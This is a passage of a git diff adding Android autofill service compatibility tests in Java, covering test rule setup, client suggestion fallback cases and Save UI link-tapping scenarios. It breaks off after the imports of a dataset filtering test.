+        private final RetryRule mRetryRule =
+                new RetryRule(getNumberRetries(), () -> {
+                    // Between testing and retries, clean all launched activities to avoid
+                    // exception:
+                    //     Could not launch intent Intent { ... } within 45 seconds.
+                    mTestWatcher.cleanAllActivities();
+                    cleanAllActivities();
+                });
+
+        private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
+
+        protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
+                .setDumper(mLoggingRule)
+                .run(() -> sReplier.assertNoUnhandledFillRequests())
+                .run(() -> sReplier.assertNoUnhandledSaveRequests())
+                .add(() -> {
+                    return sReplier.getExceptions();
+                });
+
+        @Rule
+        public final RuleChain mLookAllTheseRules = RuleChain
+                //
+                // requiredFeatureRule should be first so the test can be skipped right away
+                .outerRule(getRequiredFeaturesRule())
+                //
+                // mTestWatcher should always be one the first rules, as it defines the name of the
+                // test being ran and finishes dangling activities at the end
+                .around(mTestWatcher)
+                //
+                // sMockImeSessionRule make sure MockImeSession.create() is used to launch mock IME
+                .around(sMockImeSessionRule)
+                //
+                // mLoggingRule wraps the test but doesn't interfere with it
+                .around(mLoggingRule)
+                //
+                // mSafeCleanerRule will catch errors
+                .around(mSafeCleanerRule)
+                //
+                // mRetryRule should be closest to the main test as possible
+                .around(mRetryRule)
+                //
+                // Augmented Autofill should be disabled by default
+                .around(new DeviceConfigStateChangerRule(sContext, DeviceConfig.NAMESPACE_AUTOFILL,
+                        AutofillManager.DEVICE_CONFIG_AUTOFILL_SMART_SUGGESTION_SUPPORTED_MODES,
+                        Integer.toString(getSmartSuggestionMode())))
+                //
+                // Finally, let subclasses add their own rules (like ActivityTestRule)
+                .around(getMainTestRule());
+
+
+        protected final Context mContext = sContext;
+        protected final String mPackageName;
+        protected final UiBot mUiBot;
+
+        private BaseTestCase(@NonNull UiBot uiBot) {
+            mPackageName = mContext.getPackageName();
+            mUiBot = uiBot;
+            mUiBot.reset();
+        }
+
+        protected int getSmartSuggestionMode() {
+            return AutofillManager.FLAG_SMART_SUGGESTION_OFF;
+        }
+
+        /**
+         * Gets how many times a test should be retried.
+         *
+         * @return {@code 1} by default, unless overridden by subclasses or by a global settings
+         * named {@code CLASS_NAME + #getNumberRetries} or
+         * {@code CtsAutoFillServiceTestCases#getNumberRetries} (the former having a higher
+         * priority).
+         */
+        protected int getNumberRetries() {
+            final String localProp = getClass().getName() + "#getNumberRetries";
+            final Integer localValue = getNumberRetries(localProp);
+            if (localValue != null) return localValue.intValue();
+
+            final String globalProp = "CtsAutoFillServiceTestCases#getNumberRetries";
+            final Integer globalValue = getNumberRetries(globalProp);
+            if (globalValue != null) return globalValue.intValue();
+
+            return 1;
+        }
+
+        private Integer getNumberRetries(String prop) {
+            final String value = Settings.Global.getString(sContext.getContentResolver(), prop);
+            if (value != null) {
+                Log.i(TAG, "getNumberRetries(): overriding to " + value + " because of '" + prop
+                        + "' global setting");
+                try {
+                    return Integer.parseInt(value);
+                } catch (Exception e) {
+                    Log.w(TAG, "error parsing property '" + prop + "'='" + value + "'", e);
+                }
+            }
+            return null;
+        }
+
+        /**
+         * Gets a rule that defines which features must be present for this test to run.
+         *
+         * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
+         * but subclass can override to be more specific.
+         */
+        @NonNull
+        protected TestRule getRequiredFeaturesRule() {
+            return sRequiredFeatureRule;
+        }
+
+        /**
+         * Gets the test-specific {@link Rule @Rule}.
+         *
+         * <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
+         * so the order is preserved.
+         *
+         */
+        @NonNull
+        protected abstract TestRule getMainTestRule();
+
+        @BeforeClass
+        public static void disableDefaultAugmentedService() {
+            Log.v(TAG, "@BeforeClass: disableDefaultAugmentedService()");
+            Helper.setDefaultAugmentedAutofillServiceEnabled(false);
+        }
+
+        @AfterClass
+        public static void enableDefaultAugmentedService() {
+            Log.v(TAG, "@AfterClass: enableDefaultAugmentedService()");
+            Helper.setDefaultAugmentedAutofillServiceEnabled(true);
+        }
+
+        @Before
+        public void prepareDevice() throws Exception {
+            Log.v(TAG, "@Before: prepareDevice()");
+
+            // Unlock screen.
+            runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+            // Dismiss keyguard, in case it's set as "Swipe to unlock".
+            runShellCommand("wm dismiss-keyguard");
+
+            // Collapse notifications.
+            runShellCommand("cmd statusbar collapse");
+
+            // Set orientation as portrait, otherwise some tests might fail due to elements not
+            // fitting in, IME orientation, etc...
+            mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+
+            // Wait until device is idle to avoid flakiness
+            mUiBot.waitForIdle();
+
+            // Clear Clipboard
+            // TODO(b/117768051): remove try/catch once fixed
+            try {
+                ((ClipboardManager) mContext.getSystemService(CLIPBOARD_SERVICE))
+                    .clearPrimaryClip();
+            } catch (Exception e) {
+                Log.e(TAG, "Ignoring exception clearing clipboard", e);
+            }
+        }
+
+        @Before
+        public void preTestCleanup() {
+            Log.v(TAG, "@Before: preTestCleanup()");
+
+            prepareServicePreTest();
+
+            InstrumentedAutoFillService.resetStaticState();
+            AuthenticationActivity.resetStaticState();
+            AugmentedAuthActivity.resetStaticState();
+            sReplier.reset();
+        }
+
+        /**
+         * Prepares the service before each test - by default, disables it
+         */
+        protected void prepareServicePreTest() {
+            Log.v(TAG, "prepareServicePreTest(): calling disableService()");
+            disableService();
+        }
+
+        /**
+         * Enables the {@link InstrumentedAutoFillService} for autofill for the current user.
+         */
+        protected void enableService() {
+            Helper.enableAutofillService(getContext(), SERVICE_NAME);
+        }
+
+        /**
+         * Disables the {@link InstrumentedAutoFillService} for autofill for the current user.
+         */
+        protected void disableService() {
+            Helper.disableAutofillService(getContext());
+        }
+
+        /**
+         * Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
+         */
+        protected void assertServiceEnabled() {
+            Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
+        }
+
+        /**
+         * Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
+         */
+        protected void assertServiceDisabled() {
+            Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
+        }
+
+        protected RemoteViews createPresentation(String message) {
+            return Helper.createPresentation(message);
+        }
+
+        protected RemoteViews createPresentationWithCancel(String message) {
+            final RemoteViews presentation = new RemoteViews(getContext()
+                    .getPackageName(), R.layout.list_item_cancel);
+            presentation.setTextViewText(R.id.text1, message);
+            return presentation;
+        }
+
+        protected InlinePresentation createInlinePresentation(String message) {
+            return Helper.createInlinePresentation(message);
+        }
+
+        protected InlinePresentation createInlinePresentation(String message,
+                                                              PendingIntent attribution) {
+            return Helper.createInlinePresentation(message, attribution);
+        }
+
+        @NonNull
+        protected AutofillManager getAutofillManager() {
+            return mContext.getSystemService(AutofillManager.class);
+        }
+
+        /**
+         * Used to clean all activities that started by test case and does not control by the
+         * AutofillTestWatcher.
+         */
+        protected void cleanAllActivities() {}
+    }
+
+    protected static final UiBot sDefaultUiBot = new UiBot();
+    protected static final InlineUiBot sDefaultUiBot2 = new InlineUiBot();
+
+    private AutoFillServiceTestCase() {
+        throw new UnsupportedOperationException("Contain static stuff only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/ClientSuggestionsCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/ClientSuggestionsCommonTestCase.java
new file mode 100644
index 0000000..442ef4b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/ClientSuggestionsCommonTestCase.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_EMPTY;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.ClientSuggestionsActivity;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.ClientAutofillRequestCallback;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.widget.EditText;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Test;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public abstract class ClientSuggestionsCommonTestCase
+        extends AutoFillServiceTestCase.AutoActivityLaunch<ClientSuggestionsActivity> {
+
+    private static final String TAG = "ClientSuggestions";
+    protected ClientSuggestionsActivity mActivity;
+    protected ClientAutofillRequestCallback.Replier mClientReplier;
+
+    protected ClientSuggestionsCommonTestCase() {}
+
+    protected ClientSuggestionsCommonTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Test
+    public void testAutoFillOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mClientReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation("The Dude", isInlineMode())
+                .build());
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        sReplier.assertOnFillRequestNotCalled();
+        mClientReplier.assertReceivedRequest();
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutoFillNoDatasets_fallbackDefaultService() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation("The Dude", isInlineMode())
+                .build());
+
+        mClientReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        mClientReplier.assertReceivedRequest();
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillNoDatasets_fallbackDefaultService() is enough")
+    public void testManualRequestAfterFallbackDefaultService() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation("The Dude", isInlineMode())
+                .build());
+
+        mClientReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        mClientReplier.assertReceivedRequest();
+
+        // The dataset shown.
+        mUiBot.assertDatasets("The Dude");
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation("THE DUDE", isInlineMode())
+                .build());
+
+        // Trigger autofill.
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        mClientReplier.assertNoUnhandledFillRequests();
+
+        mActivity.expectAutoFill("DUDE", "SWEET");
+
+        // Select the dataset.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillNoDatasets_fallbackDefaultService() is enough")
+    public void testNewFieldAddedAfterFallbackDefaultService() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation("The Dude", isInlineMode())
+                .build());
+
+        mClientReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        mClientReplier.assertReceivedRequest();
+
+        // The dataset shown.
+        mUiBot.assertDatasets("The Dude");
+
+        // Try again, in a field that was added after the first request
+        final EditText child = new EditText(mActivity);
+        child.setId(R.id.empty);
+        mActivity.addChild(child, ID_EMPTY);
+        final OneTimeTextWatcher watcher = new OneTimeTextWatcher("child", child,
+                "new view on the block");
+        child.addTextChangedListener(watcher);
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setField(ID_EMPTY, "new view on the block")
+                .setPresentation("The Dude", isInlineMode())
+                .build());
+
+        mActivity.syncRunOnUiThread(() -> child.requestFocus());
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        mClientReplier.assertNoUnhandledFillRequests();
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+        mUiBot.waitForIdle();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        watcher.assertAutoFilled();
+    }
+
+    @Test
+    public void testNoDatasetsAfterFallbackDefaultService() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mClientReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        mClientReplier.assertReceivedRequest();
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        setEmptyClientResponse();
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+
+        mClientReplier.assertReceivedRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testNewFieldAddedAfterFirstRequest() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        setEmptyClientResponse();
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mClientReplier.assertReceivedRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, in a field that was added after the first request
+        final EditText child = new EditText(mActivity);
+        child.setId(R.id.empty);
+        mActivity.addChild(child, ID_EMPTY);
+        final OneTimeTextWatcher watcher = new OneTimeTextWatcher("child", child,
+                "new view on the block");
+        child.addTextChangedListener(watcher);
+        mClientReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setField(ID_EMPTY, "new view on the block")
+                .setPresentation("The Dude", isInlineMode())
+                .build());
+
+        mActivity.syncRunOnUiThread(() -> child.requestFocus());
+
+        mClientReplier.assertReceivedRequest();
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        // Check username and password fields
+        mActivity.assertAutoFilled();
+        // Check the new added field
+        watcher.assertAutoFilled();
+    }
+
+    @NonNull
+    @Override
+    protected AutofillActivityTestRule<ClientSuggestionsActivity> getActivityRule() {
+        return new AutofillActivityTestRule<ClientSuggestionsActivity>(
+                ClientSuggestionsActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+                mClientReplier = mActivity.getReplier();
+            }
+        };
+    }
+
+    private void setEmptyClientResponse() {
+        mClientReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(new Bundle())
+                .build());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/CustomDescriptionWithLinkTestCase.java
new file mode 100644
index 0000000..774fa5a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/CustomDescriptionWithLinkTestCase.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.widget.RemoteViews;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+
+import org.junit.Test;
+
+/**
+ * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
+ * tapped by the user.
+ *
+ * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
+ * <ul>
+ *   <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
+ *   <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
+ *       and shown in the same activity.
+ * </ul>
+ *
+ * <p>The overall behavior should be the same in both cases, although the implementation of the
+ * tests per se will be sligthly different.
+ */
+public abstract class CustomDescriptionWithLinkTestCase<A extends AbstractAutoFillActivity> extends
+        AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    private static final String ID_LINK = "link";
+
+    private final Class<A> mActivityClass;
+
+    protected A mActivity;
+
+    protected CustomDescriptionWithLinkTestCase(@NonNull Class<A> activityClass) {
+        mActivityClass = activityClass;
+    }
+
+    protected void startActivity() {
+        startActivity(false);
+    }
+
+    protected void startActivity(boolean remainOnRecents) {
+        final Intent intent = new Intent(mContext, mActivityClass);
+        if (remainOnRecents) {
+            intent.setFlags(
+                    Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_TASK);
+        }
+        mActivity = launchActivity(intent);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description and then taps back:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_tapBack() throws Exception {
+        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, change the screen
+     * orientation while the new activity is show, then taps back:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_changeOrientationThenTapBack() throws Exception {
+        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+
+        mUiBot.assumeMinimumResolution(500);
+        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+        try {
+            saveUiRestoredAfterTappingLinkTest(
+                    PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
+        } finally {
+            try {
+                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } catch (Exception e) {
+                mSafeCleanerRule.add(e);
+            } finally {
+                mUiBot.resetScreenResolution();
+            }
+        }
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Test
+    public final void testTapLink_finishActivity() throws Exception {
+        saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
+    }
+
+    protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
+    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and touch outside the Save UI to dismiss it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and touch outside the Save UI to dismiss it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and tap the "No" button to dismiss it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
+                false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and tap the "No" button to dismiss it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and the "Yes" button to save it.
+     *
+     * <p>Then user starts a new session by focusing in a field.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
+                false);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, taps back to return to the
+     * activity with the Save UI, and the "Yes" button to save it.
+     *
+     * <p>Then user starts a new session by forcing autofill.
+     */
+    @Test
+    public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
+            throws Exception {
+        tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
+    }
+
+    protected abstract void tapLinkThenTapBackThenStartOverTest(
+            PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then re-launches the
+     * original activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    public final void testTapLink_backToPreviousActivityByLaunchingIt()
+            throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a link in the custom description, then launches a 3rd
+     * activity:
+     * the Save UI should have been canceled.
+     */
+    @Test
+    public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
+        saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
+    }
+
+    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
+    @Test
+    @FlakyTest(bugId = 177259617)
+    public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
+            throws Exception {
+        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+        Helper.resetApplicationAutofillOptions(sContext);
+
+        tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
+
+        // Clear AutofillOptions.
+        Helper.clearApplicationAutofillOptions(sContext);
+    }
+
+    protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception;
+
+    @Test
+    public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
+        tapLinkAfterUpdateAppliedTest(true);
+    }
+
+    @Test
+    public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
+        tapLinkAfterUpdateAppliedTest(false);
+    }
+
+    protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
+
+    public enum PostSaveLinkTappedAction {
+        TAP_BACK_BUTTON,
+        ROTATE_THEN_TAP_BACK_BUTTON,
+        FINISH_ACTIVITY,
+        LAUNCH_NEW_ACTIVITY,
+        LAUNCH_PREVIOUS_ACTIVITY,
+        TOUCH_OUTSIDE,
+        TAP_NO_ON_SAVE_UI,
+        TAP_YES_ON_SAVE_UI
+    }
+
+    protected final void startActivityOnNewTask(Class<?> clazz) {
+        final Intent intent = new Intent(mContext, clazz);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    protected RemoteViews newTemplate() {
+        final RemoteViews presentation = new RemoteViews(mPackageName,
+                R.layout.custom_description_with_link);
+        return presentation;
+    }
+
+    protected final CustomDescription.Builder newCustomDescriptionBuilder(
+            Class<? extends Activity> activityClass) {
+        final Intent intent = new Intent(mContext, activityClass);
+        intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        return newCustomDescriptionBuilder(intent);
+    }
+
+    protected final CustomDescription newCustomDescription(
+            Class<? extends Activity> activityClass) {
+        return newCustomDescriptionBuilder(activityClass).build();
+    }
+
+    protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
+        final RemoteViews presentation = newTemplate();
+        final PendingIntent pendingIntent =
+                PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE);
+        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+        return new CustomDescription.Builder(presentation);
+    }
+
+    protected final CustomDescription newCustomDescription(Intent intent) {
+        return newCustomDescriptionBuilder(intent).build();
+    }
+
+    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) throws Exception {
+        return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
+    }
+
+    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText)
+            throws Exception {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(saveType);
+        // Then make sure it does have the custom view with link on it...
+        final UiObject2 link = getLink(saveUi);
+        assertThat(link.getText()).isEqualTo(expectedText);
+        return saveUi;
+    }
+
+    protected final UiObject2 getLink(final UiObject2 container) {
+        final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
+        assertThat(link).isNotNull();
+        return link;
+    }
+
+    protected final void tapSaveUiLink(UiObject2 saveUi) {
+        getLink(saveUi).click();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatasetFilteringTest.java
new file mode 100644
index 0000000..0f631a6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatasetFilteringTest.java
@@ -0,0 +1,679 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Timeouts.MOCK_IME_TIMEOUT_MS;
+
+import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.MaxVisibleDatasetsRule;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.IntentSender;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.view.KeyEvent;
+import android.widget.EditText;
+
+import com.android.cts.mockime.ImeCommand;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.Test;
